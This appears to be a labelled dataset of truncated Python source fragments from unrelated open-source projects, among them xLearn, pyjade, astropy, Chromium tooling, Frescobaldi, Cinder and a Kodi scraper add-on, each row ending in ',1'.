ctypes.cdll.LoadLibrary(lib_path[0]) return lib # load the xlearn library globally _LIB = _load_lib() def _check_call(ret): """"""Check the return value of C API call This function will raise exception when error occurs. Wrap every API call with this function Parameters ---------- ret : int return value from API calls """""" if ret != 0: msg = """" # raise XLearnError() _LIB.XLearnGetLastError.restype = ctypes.POINTER(ctypes.c_ubyte) ptr = _LIB.XLearnGetLastError() idx = 0 while(ptr[idx] != 0): msg += chr(ptr[idx]) idx += 1 raise XLearnError(msg) # type definitions XLearnHandle = ctypes.c_void_p if sys.version_info[0] < 3: def c_str(string): """"""Create ctypes char * from a Python string. Parameters ---------- string : string type Pyrhon string. Returns ------- str : c_char_p A char pointer that can be passed to C API. Examples -------- >>> x = c_str(""Hello, world!"") >>> print x.value Hello, world! """""" return ctypes.c_char_p(string) else: def c_str(string): """"""Create ctypes char * from a Python string. Parameters ---------- string : string type Pyrhon string. Returns ------- str : c_char_p A char pointer that can be passed to C API. Examples -------- >>> x = c_str(""Hello, world!"") >>> print(x.value) Hello, world! """""" return ctypes.c_char_p(string.encode('utf-8')) """"""pandas"""""" try: from pandas import Series, DataFrame except ImportError: class Series(object): """"""Dummy class for pandas.Series."""""" pass class DataFrame(object): """"""Dummy class for pandas.DataFrame."""""" pass ",1 "ilers_list = ['django', 'jinja', 'underscore', 'mako', 'tornado'] available_compilers = {} for i in support_compilers_list: try: compiler_class = __import__('pyjade.ext.%s' % i, fromlist=['pyjade']).Compiler except ImportError, e: logging.warning(e) else: available_compilers[i] = compiler_class usage = ""usage: %prog [options] file [output]"" parser = OptionParser(usage) parser.add_option(""-o"", ""--output"", dest=""output"", help=""Write output to FILE"", metavar=""FILE"") parser.add_option(""-c"", ""--compiler"", dest=""compiler"", choices=available_compilers.keys(), default='django', type=""choice"", help=""COMPILER must be one of %s, default is django"" % ','.join(available_compilers.keys())) parser.add_option(""-e"", ""--ext"", dest=""extension"", help=""Set import/extends default file extension"", metavar=""FILE"") options, args = parser.parse_args() if len(args) < 1: print ""Specify the input file as the first argument."" exit() file_output = options.output or (args[1] if len(args) > 1 else None) compiler = options.compiler if options.extension: extension = '.%s'%options.extension elif options.output: extension = os.path.splitext(options.output)[1] else: extension = None if compiler in available_compilers: template = codecs.open(args[0], 'r', encoding='utf-8').read() output = process(template, compiler=available_compilers[compiler], staticAttrs=True, extension=extension) if file_output: outfile = codecs.open(file_output, 'w', encoding='utf-8') outfile.write(output) else: print output else: raise Exception('You must have %s installed!' % compiler) if __name__ == '__main__': convert_file() ",1 " dependencies = [ ('api', '0002_auto_20150326_1433'), ] operations = [ migrations.RemoveField( model_name='problem', name='id', ), migrations.AlterField( model_name='problem', name='problemId', field=models.IntegerField(serialize=False, primary_key=True), preserve_default=True, ), ] ",1 "he GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """""" import re import urlparse from resources.lib.modules import cleantitle from resources.lib.modules import client from resources.lib.modules import dom_parser from resources.lib.modules import source_utils class source: def __init__(self): self.priority = 1 self.language = ['de'] self.genre_filter = ['horror'] self.domains = ['horrorkino.do.am'] self.base_link = 'http://horrorkino.do.am/' self.search_link = 'video/shv' def movie(self, imdb, title, localtitle, aliases, year): try: url = self.__search([localtitle] + source_utils.aliases_to_array(aliases), year) if not url and title != localtitle: url = self.__search([title] + source_utils.aliases_to_array(aliases), year) return url except: return def sources(self, url, hostDict, hostprDict): sources = [] try: if not url: return sources r = client.request(urlparse.urljoin(self.base_link, url)) r = re.findall('''vicode\s*=\s*[""'](.*?)[""'];''', r)[0].decode('string_escape') r = dom_parser.parse_dom(r, 'iframe', req='src') r = [i.attrs['src'] for i in r] for i in r: valid, host = source_utils.is_host_valid(i, hostDict) if not valid: continue sources.append({'source': host, 'quality': 'SD', 'language': 'de', 'url': i, 'direct': False, 'debridonly': False, 'checkquality': True}) return sources except: return sources def resolve(self, url): return url def __search(self, titles, year): try: t = [cleantitle.get(i) for i in set(titles) if i] y = ['%s' % str(year), '%s' % str(int(year) + 1), '%s' % str(int(year) - 1), '0'] r = client.request(urlparse.urljoin(self.base_link, self.search_link), post={'query': cleantitle.query(titles[0])}) r = dom_parser.parse_dom(r, 'li', attrs={'class': 'entTd'}) r = dom_parser.parse_dom(r, 'div', attrs={'class': 've-screen'}, req='title') r = [(dom_parser.parse_dom(i, 'a', req='href'), i.attrs['title'].split(' - ')[0]) for i in r] r = [(i[0][0].attrs['href'], i[1], re.findall('(.+?) \(*(\d{4})', i[1])) for i in r] r = [(i[0], i[2][0][0] if len(i[2]) > 0 else i[1], i[2][0][1] if len(i[2]) > 0 else '0') for i in r] r = sorted(r, key=lambda i: int(i[2]), reverse=True) # with year > no year r = [i[0] for i in r if cleantitle.get(i[1]) in t and i[2] in y][0] return source_utils.strip_domain(r) except: return ",1 ", # D. Monelli. # # The Hazard Modeller's Toolkit is free software: you can redistribute # it and/or modify it under the terms of the GNU Affero General Public #License as published by the Free Software Foundation, either version #3 of the License, or (at your option) any later version. # # You should have received a copy of the GNU Affero General Public License # along with OpenQuake. If not, see # #DISCLAIMER # # The software Hazard Modeller's Toolkit (openquake.hmtk) provided herein #is released as a prototype implementation on behalf of # scientists and engineers working within the GEM Foundation (Global #Earthquake Model). # # It is distributed for the purpose of open collaboration and in the # hope that it will be useful to the scientific, engineering, disaster # risk and software design communities. # # The software is NOT distributed as part of GEM's OpenQuake suite # (http://www.globalquakemodel.org/openquake) and must be considered as a # separate entity. The software provided herein is designed and implemented # by scientific staff. It is not developed to the design standards, nor # subject to same level of critical review by professional software # developers, as GEM's OpenQuake software suite. # # Feedback and contribution to the software is welcome, and can be # directed to the hazard scientific staff of the GEM Model Facility # (hazard@globalquakemodel.org). # # The Hazard Modeller's Toolkit (openquake.hmtk) is therefore distributed WITHOUT #ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or #FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License #for more details. # # The GEM Foundation, and the authors of the software, assume no # liability for use of the software. ",1 "e LICENSE file. """"""Presubmit script for Chromium browser resources. See http://dev.chromium.org/developers/how-tos/depottools/presubmit-scripts for more details about the presubmit API built into depot_tools, and see http://www.chromium.org/developers/web-development-style-guide for the rules we're checking against here. """""" import os import struct class InvalidPNGException(Exception): pass class ResourceScaleFactors(object): """"""Verifier of image dimensions for Chromium resources. This class verifies the image dimensions of resources in the various resource subdirectories. Attributes: paths: An array of tuples giving the folders to check and their relevant scale factors. For example: [(100, 'default_100_percent'), (200, 'default_200_percent')] """""" def __init__(self, input_api, output_api, paths): """""" Initializes ResourceScaleFactors with paths."""""" self.input_api = input_api self.output_api = output_api self.paths = paths def RunChecks(self): """"""Verifies the scale factors of resources being added or modified. Returns: An array of presubmit errors if any images were detected not having the correct dimensions. """""" def ImageSize(filename): with open(filename, 'rb', buffering=0) as f: data = f.read(24) if data[:8] != '\x89PNG\r\n\x1A\n' or data[12:16] != 'IHDR': raise InvalidPNGException return struct.unpack('>ii', data[16:24]) # Returns a list of valid scaled image sizes. The valid sizes are the # floor and ceiling of (base_size * scale_percent / 100). This is equivalent # to requiring that the actual scaled size is less than one pixel away from # the exact scaled size. def ValidSizes(base_size, scale_percent): return sorted(set([(base_size * scale_percent) / 100, (base_size * scale_percent + 99) / 100])) repository_path = self.input_api.os_path.relpath( self.input_api.PresubmitLocalPath(), self.input_api.change.RepositoryRoot()) results = [] # Check for affected files in any of the paths specified. affected_files = self.input_api.AffectedFiles(include_deletes=False) files = [] for f in affected_files: for path_spec in self.paths: path_root = self.input_api.os_path.join( repository_path, path_spec[1]) if (f.LocalPath().endswith('.png') and f.LocalPath().startswith(path_root)): # Only save the relative path from the resource directory. relative_path = self.input_api.os_path.relpath(f.LocalPath(), path_root) if relative_path not in files: files.append(relative_path) corrupt_png_error = ('Corrupt PNG in file %s. Note that binaries are not ' 'correctly uploaded to the code review tool and must be directly ' 'submitted using the dcommit command.') for f in files: base_image = self.input_api.os_path.join(self.paths[0][1], f) if not os.path.exists(base_image): results.append(self.output_api.PresubmitError( 'Base image %s does not exist' % self.input_api.os_path.join( repository_path, base_image))) continue try: base_dimensions = ImageSize(base_image) except InvalidPNGException: results.append(self.output_api.PresubmitError(corrupt_png_error % self.input_api.os_path.join(repository_path, base_image))) continue # Find all scaled versions of the base image and verify their sizes. for i in range(1, len(self.paths)): image_path = self.input_api.os_path.join(self.paths[i][1], f) if not os.path.exists(image_path): continue # Ensure that each image for a particular scale factor is the # correct scale of the base image. try: scaled_dimensions = ImageSize(image_path) except InvalidPNGException: results.append(self.output_api.PresubmitError(corrupt_png_error % self.input_api.os_path.join(repository_path, image_path))) continue for dimension_name, base_size, scaled_size in zip( ('width', 'height'), base_dimensions, scaled_dimensions): valid_sizes = ValidSizes(base_size, self.paths[i][0]) if scaled_size not in valid_sizes: results.append(self.output_api.PresubmitError( 'Image %s has %s %d, expected to be %s' % ( self.input_api.os_path.join(repository_path, image_path), dimension_name, scaled_size, ' or '.join(map(str, valid_sizes))))) return results ",1 "94492/graphviz-how-to-go-from-dot-to-a-graph For DOT languge see http://www.graphviz.org/doc/info/attrs.html cd C:\Program Files (x86)\Graphviz2.38\bin dot -Tpng D:\GitHub\mappyfile\mapfile_classes.dot -o outfile.png outfile.png For Entity Relationship diagrams: https://graphviz.readthedocs.io/en/stable/examples.html#er-py """""" import os import pydot # import pprint FONT = ""Lucida Sans"" def graphviz_setup(gviz_path): os.environ['PATH'] = gviz_path + "";"" + os.environ['PATH'] def add_child(graph, child_id, child_label, parent_id, colour): """""" http://www.graphviz.org/doc/info/shapes.html#polygon """""" node = pydot.Node(child_id, style=""filled"", fillcolor=colour, label=child_label, shape=""polygon"", fontname=FONT) graph.add_node(node) graph.add_edge(pydot.Edge(parent_id, node)) def add_children(graph, parent_id, d, level=0): blue = ""#6b6bd1"" white = ""#fdfefd"" green = ""#33a333"" colours = [blue, white, green] * 3 for class_, children in d.items(): colour = colours[level] child_label = class_ child_id = parent_id + ""_"" + class_ add_child(graph, child_id, child_label, parent_id, colour) add_children(graph, child_id, children, level+1) def save_file(graph, fn): filename = ""%s.png"" % fn graph.write_png(filename) graph.write(""%s.dot"" % fn) os.startfile(filename) def main(gviz_path, layer_only=False): graphviz_setup(gviz_path) graph = pydot.Dot(graph_type='digraph', rankdir=""TB"") layer_children = { 'CLASS': { 'LABEL': {'STYLE': {}}, 'CONNECTIONOPTIONS': {}, 'LEADER': {'STYLE': {}}, 'STYLE': {}, 'VALIDATION': {} }, 'CLUSTER': {}, 'COMPOSITE': {}, 'FEATURE': {'POINTS': {}}, 'GRID': {}, 'JOIN': {}, 'METADATA': {}, 'PROJECTION': {}, 'SCALETOKEN': {'VALUES': {}}, 'VALIDATION': {} } # pprint.pprint(layer_children) classes = { ""MAP"": { ""LAYER"": layer_children, 'LEGEND': {'LABEL': {}}, 'PROJECTION': {}, 'QUERYMAP': {}, 'REFERENCE': {}, 'SCALEBAR': {'LABEL': {}}, 'SYMBOL': {}, 'WEB': {'METADATA': {}, 'VALIDATION': {}} } } if layer_only: root = ""LAYER"" classes = classes[""MAP""] fn = ""layer_classes"" else: fn = ""map_classes"" root, = classes.keys() node = pydot.Node(root, style=""filled"", fillcolor=""#33a333"", label=root, fontname=FONT, shape=""polygon"") graph.add_node(node) add_children(graph, root, classes[root]) save_file(graph, fn) if __name__ == ""__main__"": gviz_path = r""C:\Program Files (x86)\Graphviz2.38\bin"" main(gviz_path, True) main(gviz_path, False) print(""Done!"") ",1 "ls.decorators import wraps from astropy.utils.misc import isiterable from .core import Unit, UnitBase, UnitsError, add_enabled_equivalencies from .physical import _unit_physical_mapping def _get_allowed_units(targets): """""" From a list of target units (either as strings or unit objects) and physical types, return a list of Unit objects. """""" allowed_units = [] for target in targets: try: # unit passed in as a string target_unit = Unit(target) except ValueError: try: # See if the function writer specified a physical type physical_type_id = _unit_physical_mapping[target] except KeyError: # Function argument target is invalid raise ValueError(""Invalid unit or physical type '{}'."" .format(target)) # get unit directly from physical type id target_unit = Unit._from_physical_type_id(physical_type_id) allowed_units.append(target_unit) return allowed_units def _validate_arg_value(param_name, func_name, arg, targets, equivalencies): """""" Validates the object passed in to the wrapped function, ``arg``, with target unit or physical type, ``target``. """""" if len(targets) == 0: return allowed_units = _get_allowed_units(targets) for allowed_unit in allowed_units: try: is_equivalent = arg.unit.is_equivalent(allowed_unit, equivalencies=equivalencies) if is_equivalent: break except AttributeError: # Either there is no .unit or no .is_equivalent if hasattr(arg, ""unit""): error_msg = ""a 'unit' attribute without an 'is_equivalent' method"" else: error_msg = ""no 'unit' attribute"" raise TypeError(""Argument '{}' to function '{}' has {}. "" ""You may want to pass in an astropy Quantity instead."" .format(param_name, func_name, error_msg)) else: if len(targets) > 1: raise UnitsError(""Argument '{}' to function '{}' must be in units"" "" convertible to one of: {}."" .format(param_name, func_name, [str(targ) for targ in targets])) else: raise UnitsError(""Argument '{}' to function '{}' must be in units"" "" convertible to '{}'."" .format(param_name, func_name, str(targets[0]))) class QuantityInput: @classmethod def as_decorator(cls, func=None, **kwargs): r"""""" A decorator for validating the units of arguments to functions. Unit specifications can be provided as keyword arguments to the decorator, or by using function annotation syntax. Arguments to the decorator take precedence over any function annotations present. A `~astropy.units.UnitsError` will be raised if the unit attribute of the argument is not equivalent to the unit specified to the decorator or in the annotation. If the argument has no unit attribute, i.e. it is not a Quantity object, a `ValueError` will be raised unless the argument is an annotation. This is to allow non Quantity annotations to pass through. Where an equivalency is specified in the decorator, the function will be executed with that equivalency in force. Notes ----- The checking of arguments inside variable arguments to a function is not supported (i.e. \*arg or \**kwargs). Examples -------- .. code-block:: python import astropy.units as u @u.quantity_input(myangle=u.arcsec) def myfunction(myangle): return myangle**2 .. code-block:: python import astropy.units as u @u.quantity_input def myfunction(myangle: u.arcsec): return myangle**2 Also you can specify a return value annotation, which will cause the function to always return a `~astropy.units.Quantity` in that unit. .. code-block:: python import astropy.units as u @u.quantity_input def myfunction(myangle: u.arcsec) -> u.deg**2: return myangle**2 Using equivalencies:: import astropy.units as u @u.quantity_input(myenergy=u.eV, equivalencies=u.mass_energy()) def myfunction(myenergy): return myenergy**2 """""" self = cls(**kwargs) if func is not None and not kwargs: return self(func) else: return self def __init__(self, func=None, **kwargs): self.equivalencies = kwargs.pop('equivalencies', []) self.decorator_kwargs = kwargs def __call__(self, wrapped_function): # Extract the function signature for the function we are wrapping. wrapped_signature = inspect.signature(wrapped_function) # Define a new function to return in place of the wrapped one @wraps(wrapped_function) def wrapper(*func_args, **func_kwargs): # Bind the arguments to our new function to the signature of the original. bound_args = wrapped_signature.bind(*func_args, **func_kwargs) # Iterate through the parameters of the original signature for param in wrapped_signature.parameters.values(): # We do not support variable arguments (*args, **kwargs) if param.kind in (inspect.Parameter.VAR_KEYWORD, inspect.Parameter.VAR_POSITIONAL): continue # Catch the (never triggered) case where bind relied on a default value. if param.name not in bound_args.arguments and param.default is not param.empty: bound_args.arguments[param.name] = param.default # Get the value of this parameter (argument to new function) arg = bound_args.arguments[param.name] # Get target unit or physical type, either from decorator kwargs # or annotations if param.name in self.decorator_kwargs: targets = self.decorator_kwargs[param.name] is_annotation = False else: targets = param.annotation is_annotation = True # If the targets is empty, then no target units or physical # types were specified so we can continue to the next arg if targets is inspect.Parameter.empty: continue # If the argument value is None, and the default value is None, # pass through the None even if there is a target unit if arg is None and param.default is None: continue # Here, we check whether multiple target unit/physical type's # were specified in the decorator/annotation, or whether a # single string (unit or physical type) or a Unit object was # specified if isinstance(targets, str) or not isiterable(targets): valid_targets = [targets] # Check for None in the supplied list of allowed units and, if # present and the passed value is also None, ignore. elif None in targets: if arg is None: continue else: valid_targets = [t for t in targets if t is not None] else: valid_targets = targets # If we're dealing with an annotation, skip all the targets that # are not strings or subclasses of Unit. This is to allow # non unit related annotations to pass through if is_annotation: valid_targets = [t for t in valid_targets if isinstance(t, (str, UnitBase))] # Now we loop over the allowed units/physical types and validate # the value of the argument: _validate_arg_value(param.name, wrapped_function.__name__, arg, valid_targets, self.equivalencies) # Call the original function with any equivalencies in force. with add_enabled_equivalencies(self.equivalencies): return_ = wrapped_function(*func_args, **func_kwargs) if wrapped_signature.return_annotation not in (inspect.Signature.empty, None): return return_.to(wrapped_signature.return_annotation) else: return return_ return wrapper quantity_input = QuantityInput.as_decorator ",1 "rom test_all import verbose try: # For Python 2.3 from bsddb import db, hashopen, btopen, rnopen except ImportError: # For earlier Pythons w/distutils pybsddb from bsddb3 import db, hashopen, btopen, rnopen class CompatibilityTestCase(unittest.TestCase): def setUp(self): self.filename = tempfile.mktemp() def tearDown(self): try: os.remove(self.filename) except os.error: pass def test01_btopen(self): self.do_bthash_test(btopen, 'btopen') def test02_hashopen(self): self.do_bthash_test(hashopen, 'hashopen') def test03_rnopen(self): data = string.split(""The quick brown fox jumped over the lazy dog."") if verbose: print ""\nTesting: rnopen"" f = rnopen(self.filename, 'c') for x in range(len(data)): f[x+1] = data[x] getTest = (f[1], f[2], f[3]) if verbose: print '%s %s %s' % getTest assert getTest[1] == 'quick', 'data mismatch!' f[25] = 'twenty-five' f.close() del f f = rnopen(self.filename, 'w') f[20] = 'twenty' def noRec(f): rec = f[15] self.assertRaises(KeyError, noRec, f) def badKey(f): rec = f['a string'] self.assertRaises(TypeError, badKey, f) del f[3] rec = f.first() while rec: if verbose: print rec try: rec = f.next() except KeyError: break f.close() def test04_n_flag(self): f = hashopen(self.filename, 'n') f.close() def do_bthash_test(self, factory, what): if verbose: print '\nTesting: ', what f = factory(self.filename, 'c') if verbose: print 'creation...' # truth test if f: if verbose: print ""truth test: true"" else: if verbose: print ""truth test: false"" f['0'] = '' f['a'] = 'Guido' f['b'] = 'van' f['c'] = 'Rossum' f['d'] = 'invented' f['f'] = 'Python' if verbose: print '%s %s %s' % (f['a'], f['b'], f['c']) if verbose: print 'key ordering...' f.set_location(f.first()[0]) while 1: try: rec = f.next() except KeyError: assert rec == f.last(), 'Error, last <> last!' f.previous() break if verbose: print rec assert f.has_key('f'), 'Error, missing key!' f.sync() f.close() # truth test try: if f: if verbose: print ""truth test: true"" else: if verbose: print ""truth test: false"" except db.DBError: pass else: self.fail(""Exception expected"") del f if verbose: print 'modification...' f = factory(self.filename, 'w') f['d'] = 'discovered' if verbose: print 'access...' for key in f.keys(): word = f[key] if verbose: print word def noRec(f): rec = f['no such key'] self.assertRaises(KeyError, noRec, f) def badKey(f): rec = f[15] self.assertRaises(TypeError, badKey, f) f.close() #---------------------------------------------------------------------- def test_suite(): return unittest.makeSuite(CompatibilityTestCase) if __name__ == '__main__': unittest.main(defaultTest='test_suite') ",1 "e software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # See http://www.gnu.org/licenses/ for more information. """""" Import and export of snippets. """""" import os try: import xml.etree.cElementTree as ET except ImportError: import xml.etree.ElementTree as ET from PyQt5.QtCore import QSize, Qt from PyQt5.QtGui import QKeySequence from PyQt5.QtWidgets import QMessageBox, QTreeWidget, QTreeWidgetItem import app import appinfo import qutil import userguide import widgets.dialog from . import model from . import snippets from . import builtin def save(names, filename): """"""Saves the named snippets to a file."""""" root = ET.Element('snippets') root.text = '\n\n' root.tail = '\n' d = ET.ElementTree(root) comment = ET.Comment(_comment.format(appinfo=appinfo)) comment.tail = '\n\n' root.append(comment) for name in names: snippet = ET.Element('snippet') snippet.set('id', name) snippet.text = '\n' snippet.tail = '\n\n' title = ET.Element('title') title.text = snippets.title(name, False) title.tail = '\n' shortcuts = ET.Element('shortcuts') ss = model.shortcuts(name) if ss: shortcuts.text = '\n' for s in ss: shortcut = ET.Element('shortcut') shortcut.text = s.toString() shortcut.tail = '\n' shortcuts.append(shortcut) shortcuts.tail = '\n' body = ET.Element('body') body.text = snippets.text(name) body.tail = '\n' snippet.append(title) snippet.append(shortcuts) snippet.append(body) root.append(snippet) d.write(filename, ""UTF-8"") def load(filename, widget): """"""Loads snippets from a file, displaying them in a list. The user can then choose: - overwrite builtin snippets or not - overwrite own snippets with same title or not - select and view snippets contents. """""" try: d = ET.parse(filename) elements = list(d.findall('snippet')) if not elements: raise ValueError(_(""No snippets found."")) except Exception as e: QMessageBox.critical(widget, app.caption(_(""Error"")), _(""Can't read from source:\n\n{url}\n\n{error}"").format( url=filename, error=e)) return dlg = widgets.dialog.Dialog(widget) dlg.setWindowModality(Qt.WindowModal) dlg.setWindowTitle(app.caption(_(""dialog title"", ""Import Snippets""))) tree = QTreeWidget(headerHidden=True, rootIsDecorated=False) dlg.setMainWidget(tree) userguide.addButton(dlg.buttonBox(), ""snippet_import_export"") allnames = frozenset(snippets.names()) builtins = frozenset(builtin.builtin_snippets) titles = dict((snippets.title(n), n) for n in allnames if n not in builtins) new = QTreeWidgetItem(tree, [_(""New Snippets"")]) updated = QTreeWidgetItem(tree, [_(""Updated Snippets"")]) unchanged = QTreeWidgetItem(tree, [_(""Unchanged Snippets"")]) new.setFlags(Qt.ItemIsEnabled) updated.setFlags(Qt.ItemIsEnabled) unchanged.setFlags(Qt.ItemIsEnabled) new.setExpanded(True) updated.setExpanded(True) items = [] for snip in elements: item = QTreeWidgetItem() item.body = snip.find('body').text item.title = snip.find('title').text item.shortcuts = list(e.text for e in snip.findall('shortcuts/shortcut')) title = item.title or snippets.maketitle(snippets.parse(item.body).text) item.setText(0, title) name = snip.get('id') name = name if name in builtins else None # determine if new, updated or unchanged if not name: name = titles.get(title) item.name = name if not name or name not in allnames: new.addChild(item) items.append(item) item.setFlags(Qt.ItemIsEnabled | Qt.ItemIsUserCheckable) item.setCheckState(0, Qt.Checked) elif name: if (item.body != snippets.text(name) or title != snippets.title(name) or (item.shortcuts and item.shortcuts != [s.toString() for s in model.shortcuts(name) or ()])): updated.addChild(item) items.append(item) item.setFlags(Qt.ItemIsEnabled | Qt.ItemIsUserCheckable) item.setCheckState(0, Qt.Checked) else: unchanged.addChild(item) item.setFlags(Qt.ItemIsEnabled) # count: for i in new, updated, unchanged: i.setText(0, i.text(0) + "" ({0})"".format(i.childCount())) for i in new, updated: if i.childCount(): i.setFlags(Qt.ItemIsEnabled | Qt.ItemIsUserCheckable) i.setCheckState(0, Qt.Checked) def changed(item): if item in (new, updated): for i in range(item.childCount()): c = item.child(i) c.setCheckState(0, item.checkState(0)) tree.itemChanged.connect(changed) importShortcuts = QTreeWidgetItem([_(""Import Keyboard Shortcuts"")]) if items: tree.addTopLevelItem(importShortcuts) importShortcuts.setFlags(Qt.ItemIsEnabled | Qt.ItemIsUserCheckable) importShortcuts.setCheckState(0, Qt.Checked) dlg.setMessage(_(""Choose which snippets you want to import:"")) else: dlg.setMessage(_(""There are no new or updated snippets in the file."")) unchanged.setExpanded(True) tree.setWhatsThis(_( ""

    Here the snippets from {filename} are displayed.

    \n"" ""

    If there are new or updated snippets, you can select or deselect "" ""them one by one, or all at once, using the checkbox of the group. "" ""Then click OK to import all the selected snippets.

    \n"" ""

    Existing, unchanged snippets can't be imported.

    \n"" ).format(filename=os.path.basename(filename))) qutil.saveDialogSize(dlg, ""snippettool/import/size"", QSize(400, 300)) if not dlg.exec_() or not items: return ac = model.collection() m = model.model() with qutil.busyCursor(): for i in items: if i.checkState(0) == Qt.Checked: index = m.saveSnippet(i.name, i.body, i.title) if i.shortcuts and importShortcuts.checkState(0): shortcuts = list(map(QKeySequence.fromString, i.shortcuts)) ac.setShortcuts(m.name(index), shortcuts) widget.updateColumnSizes() _comment = """""" Created by {appinfo.appname} {appinfo.version}. Every snippet is represented by: title: title text shortcuts: list of shortcut elements, every shortcut is a key sequence body: the snippet text The snippet id attribute can be the name of a builtin snippet or a random name like 'n123456'. In the latter case, the title is used to determine whether a snippet is new or updated. """""" ",1 "ce with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from cinder.compute import nova from cinder import context from cinder import test class FakeNovaClient(object): class Volumes(object): def __getattr__(self, item): return None def __init__(self): self.volumes = self.Volumes() def create_volume_snapshot(self, *args, **kwargs): pass def delete_volume_snapshot(self, *args, **kwargs): pass class NovaApiTestCase(test.TestCase): def setUp(self): super(NovaApiTestCase, self).setUp() self.api = nova.API() self.novaclient = FakeNovaClient() self.ctx = context.get_admin_context() self.mox.StubOutWithMock(nova, 'novaclient') def test_update_server_volume(self): nova.novaclient(self.ctx).AndReturn(self.novaclient) self.mox.StubOutWithMock(self.novaclient.volumes, 'update_server_volume') self.novaclient.volumes.update_server_volume('server_id', 'attach_id', 'new_volume_id') self.mox.ReplayAll() self.api.update_server_volume(self.ctx, 'server_id', 'attach_id', 'new_volume_id') ",1 "rms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this programe. If not, see . from django.conf.urls.defaults import patterns, url urlpatterns = patterns('autoreports.views', url(r'^ajax/fields/tree/$', 'reports_ajax_fields', name='reports_ajax_fields'), url(r'^ajax/fields/options/$', 'reports_ajax_fields_options', name='reports_ajax_fields_options'), url(r'^(category/(?P[\w-]+)/)?$', 'reports_list', name='reports_list'), url(r'^(?P[\w-]+)/$', 'reports_api', name='reports_api'), url(r'^(?P[\w-]+)/(?P\d+)/$', 'reports_api', name='reports_api'), url(r'^(?P[\w-]+)/reports/$', 'reports_api_list', name='reports_api_list'), url(r'^(?P[\w-]+)/wizard/$', 'reports_api_wizard', name='reports_api_wizard'), url(r'^(?P[\w-]+)/wizard/(?P\d+)/$', 'reports_api_wizard', name='reports_api_wizard'), url(r'^(?P[\w-]+)/(?P[\w-]+)/$', 'reports_view', name='reports_view'), ) ",1 "t can be # found in the LICENSE file. """"""Generator for C++ structs from api json files. The purpose of this tool is to remove the need for hand-written code that converts to and from base::Value types when receiving javascript api calls. Originally written for generating code for extension apis. Reference schemas are in chrome/common/extensions/api. Usage example: compiler.py --root /home/Work/src --namespace extensions windows.json tabs.json compiler.py --destdir gen --root /home/Work/src --namespace extensions windows.json tabs.json """""" import optparse import os import shlex import sys from cpp_bundle_generator import CppBundleGenerator from cpp_generator import CppGenerator from cpp_type_generator import CppTypeGenerator from js_externs_generator import JsExternsGenerator from js_interface_generator import JsInterfaceGenerator import json_schema from cpp_namespace_environment import CppNamespaceEnvironment from model import Model from schema_loader import SchemaLoader # Names of supported code generators, as specified on the command-line. # First is default. GENERATORS = [ 'cpp', 'cpp-bundle-registration', 'cpp-bundle-schema', 'externs', 'interface' ] def GenerateSchema(generator_name, file_paths, root, destdir, cpp_namespace_pattern, bundle_name, impl_dir, include_rules): # Merge the source files into a single list of schemas. api_defs = [] for file_path in file_paths: schema = os.path.relpath(file_path, root) schema_loader = SchemaLoader( root, os.path.dirname(schema), include_rules, cpp_namespace_pattern) api_def = schema_loader.LoadSchema(schema) # If compiling the C++ model code, delete 'nocompile' nodes. if generator_name == 'cpp': api_def = json_schema.DeleteNodes(api_def, 'nocompile') # Delete all 'nodefine' nodes. They are only for documentation. api_def = json_schema.DeleteNodes(api_def, 'nodefine') api_defs.extend(api_def) api_model = Model(allow_inline_enums=False) # For single-schema compilation make sure that the first (i.e. only) schema # is the default one. default_namespace = None # If we have files from multiple source paths, we'll use the common parent # path as the source directory. src_path = None # Load the actual namespaces into the model. for target_namespace, file_path in zip(api_defs, file_paths): relpath = os.path.relpath(os.path.normpath(file_path), root) namespace = api_model.AddNamespace(target_namespace, relpath, include_compiler_options=True, environment=CppNamespaceEnvironment( cpp_namespace_pattern)) if default_namespace is None: default_namespace = namespace if src_path is None: src_path = namespace.source_file_dir else: src_path = os.path.commonprefix((src_path, namespace.source_file_dir)) _, filename = os.path.split(file_path) filename_base, _ = os.path.splitext(filename) # Construct the type generator with all the namespaces in this model. type_generator = CppTypeGenerator(api_model, schema_loader, default_namespace) if generator_name in ('cpp-bundle-registration', 'cpp-bundle-schema'): cpp_bundle_generator = CppBundleGenerator(root, api_model, api_defs, type_generator, cpp_namespace_pattern, bundle_name, src_path, impl_dir) if generator_name == 'cpp-bundle-registration': generators = [ ('generated_api_registration.cc', cpp_bundle_generator.api_cc_generator), ('generated_api_registration.h', cpp_bundle_generator.api_h_generator), ] elif generator_name == 'cpp-bundle-schema': generators = [ ('generated_schemas.cc', cpp_bundle_generator.schemas_cc_generator), ('generated_schemas.h', cpp_bundle_generator.schemas_h_generator) ] elif generator_name == 'cpp': cpp_generator = CppGenerator(type_generator) generators = [ ('%s.h' % filename_base, cpp_generator.h_generator), ('%s.cc' % filename_base, cpp_generator.cc_generator) ] elif generator_name == 'externs': generators = [ ('%s_externs.js' % namespace.unix_name, JsExternsGenerator()) ] elif generator_name == 'interface': generators = [ ('%s_interface.js' % namespace.unix_name, JsInterfaceGenerator()) ] else: raise Exception('Unrecognised generator %s' % generator_name) output_code = [] for filename, generator in generators: code = generator.Generate(namespace).Render() if destdir: if generator_name == 